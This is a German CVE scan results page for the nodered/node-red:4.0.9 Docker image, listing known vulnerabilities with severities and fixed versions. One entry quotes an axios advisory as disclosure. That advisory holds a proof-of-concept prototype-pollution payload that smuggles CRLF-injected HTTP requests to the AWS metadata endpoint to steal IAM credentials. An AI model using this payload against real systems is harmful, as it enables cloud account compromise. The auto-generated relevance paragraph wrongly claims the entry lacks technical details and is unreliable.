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CVE-Scan für nodered/node-red:4.0.9

Docker-Image-Sicherheitslücken-Scanner

116 Bekannte Sicherheitslücken in diesem Docker-Image

5
Kritisch
45
Hoch
49
Mittel
15
Niedrig
0
Info/ Unbestimmt/ Unbekannt
CVE-IDSchweregradPaketBetroffene VersionBehobene VersionCVSS-Score
CVE-2026-40175criticalpkg:npm/axios@1.8.3<1.15.01.15.010.0

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Summary

The Axios library is vulnerable to a specific "Gadget" attack chain that allows Prototype Pollution in any third-party dependency to be escalated into Remote Code Execution (RCE) or Full Cloud Compromise (via AWS IMDSv2 bypass).

While Axios patches exist for preventing check pollution, the library remains vulnerable to being used as a gadget when pollution occurs elsewhere. This is due to a lack of HTTP Header Sanitization (CWE-113) combined with default SSRF capabilities.

Severity: Critical (CVSS 9.9) Affected Versions: All versions (v0.x - v1.x) Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of "Helper" Vulnerabilities

This vulnerability is unique because it requires Zero Direct User Input. If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, ini, body-parser), Axios will automatically pick up the polluted properties during its config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property becomes a Request Smuggling payload.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype['x-amz-target'] = "dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore";

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developer
await axios.get('https://analytics.internal/pings'); 

3. The Execution

Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic:

GET /pings HTTP/1.1
Host: analytics.internal
x-amz-target: dummy

PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600

GET /ignore HTTP/1.1
...

4. The Impact (IMDSv2 Bypass)

The "Smuggled" second request is a valid PUT request to the AWS Metadata Service. It includes the required X-aws-ec2-metadata-token-ttl-seconds header (which a normal SSRF cannot send). The Metadata Service returns a session token, allowing the attacker to steal IAM credentials and compromise the cloud account.

Impact Analysis

  • Security Control Bypass: Defeats AWS IMDSv2 (Session Tokens).
  • Authentication Bypass: Can inject headers (Cookie, Authorization) to pivot into internal administrative panels.
  • Cache Poisoning: Can inject Host headers to poison shared caches.

Recommended Fix

Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion:

// In lib/adapters/http.js
utils.forEach(requestHeaders, function setRequestHeader(val, key) {
  if (/[\r\n]/.test(val)) {
    throw new Error('Security: Header value contains invalid characters');
  }
  // ... proceed to set header
});

References

  • OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.

Relevance:

Based on the provided description containing only a CVE ID without technical details, the relevance is currently **indeterminate** as the specific vulnerability vector (e.g., remote code execution vs. local denial of service) is not defined. In a standard deployment of this Node-RED image, it would only become **critical** if the flaw exists in the core Node.js runtime or the editor's authentication mechanism, allowing an unauthenticated attacker to bypass security controls. Users should treat the presence of a mapped CVE as a high-priority signal to monitor official security advisories for specific mitigation steps or patches. (Note: Relevance analysis is automatically generated and may require verification.)

Package URL(s):
  • pkg:npm/axios@1.8.3
CVE-2026-32767criticalexpat<2.7.5-r02.7.5-r09.8
CVE-2025-4517criticalpython3<3.12.11-r03.12.11-r09.4
CVE-2025-7783criticalpkg:npm/form-data@4.0.0>=4.0.0,<4.0.44.0.49.4
CVE-2025-62718criticalpkg:npm/axios@1.8.3<1.15.01.15.09.3
CVE-2025-15467highopenssl<3.3.6-r03.3.6-r08.8
CVE-2026-23950highpkg:npm/tar@6.2.1<=7.5.37.5.48.8
CVE-2025-31115highxz<5.6.3-r15.6.3-r18.7
CVE-2026-2359highpkg:npm/multer@1.4.5-lts.1<2.1.02.1.08.7
CVE-2026-26996highpkg:npm/minimatch@9.0.5>=9.0.0,<9.0.610.2.18.7

Schweregradstufen

Ausnutzung könnte zu schwerwiegenden Konsequenzen wie Systemkompromittierung oder Datenverlust führen. Erfordert sofortige Aufmerksamkeit.

Sicherheitslücke könnte relativ leicht ausgenutzt werden und erhebliche Auswirkungen haben. Erfordert zeitnahe Aufmerksamkeit.

Ausnutzung ist möglich, erfordert aber möglicherweise spezifische Bedingungen. Auswirkungen sind moderat. Sollte zeitnah behoben werden.

Ausnutzung ist schwierig oder die Auswirkungen sind minimal. Kann bei Gelegenheit oder im Rahmen der regulären Wartung behoben werden.

Schweregrad ist nicht bestimmt, informativ oder vernachlässigbar. Überprüfung je nach Kontext.

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Über Sliplane

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Über den CVE-Scanner

Der CVE-Scanner ist ein leistungsstarkes Tool, das dir hilft, bekannte Sicherheitslücken in deinen Docker-Images zu identifizieren. Indem deine Images mit einer umfassenden Datenbank von Common Vulnerabilities and Exposures (CVEs) abgeglichen werden, kannst du sicherstellen, dass deine Anwendungen sicher und auf dem neuesten Stand sind. Für weitere Details, schau dir die NIST CVE-Datenbank an.

Warum CVE-Scanning für deine Docker-Images wichtig ist

Mit dem Anstieg von Supply-Chain-Angriffen ist die Sicherung deiner Anwendungen wichtiger denn je. CVE-Scanning spielt eine entscheidende Rolle bei der Identifizierung von Sicherheitslücken, die von Angreifern ausgenutzt werden könnten, insbesondere solche, die durch Abhängigkeiten und Drittanbieter-Komponenten eingeführt werden. Regelmäßiges Scannen und Sichern deiner Docker-Images ist essenziell, um deine Anwendungen vor diesen sich entwickelnden Bedrohungen zu schützen.

Was ist eine CVE?

CVE steht für Common Vulnerabilities and Exposures. Es ist ein standardisierter Bezeichner für bekannte Sicherheitslücken, der Entwicklern und Organisationen ermöglicht, potenzielle Risiken effektiv zu verfolgen und zu beheben. Für weitere Informationen, besuche cve.mitre.org.

Vorteile des CVE-Scannens

  • Erhöhte Sicherheit: Erkenne und behebe Sicherheitslücken, bevor sie ausgenutzt werden.
  • Compliance: Erfülle Branchenstandards und regulatorische Anforderungen für sichere Software.
  • Proaktive Wartung: Bleibe potenziellen Bedrohungen einen Schritt voraus, indem du Sicherheitslücken frühzeitig behebst.

Wie der CVE-Scanner funktioniert

Der CVE-Scanner analysiert deine Docker-Images anhand einer umfassenden Datenbank bekannter Sicherheitslücken. Er nutzt Docker Scout im Hintergrund, um detaillierte Einblicke in betroffene Pakete, Schweregradstufen und verfügbare Fixes zu liefern, sodass du sofort handeln kannst.

Die Bedeutung des Patchens von Docker-Images

Das Patchen deiner Docker-Images ist ein entscheidender Schritt, um die Sicherheit und Stabilität deiner Anwendungen zu gewährleisten. Durch regelmäßige Updates deiner Images mit den neuesten Sicherheitspatches kannst du bekannte Sicherheitslücken beheben und das Risiko einer Ausnutzung reduzieren. Dieser proaktive Ansatz stellt sicher, dass deine Anwendungen widerstandsfähig gegenüber neuen Bedrohungen bleiben und hilft, die Einhaltung von Sicherheitsstandards zu gewährleisten.

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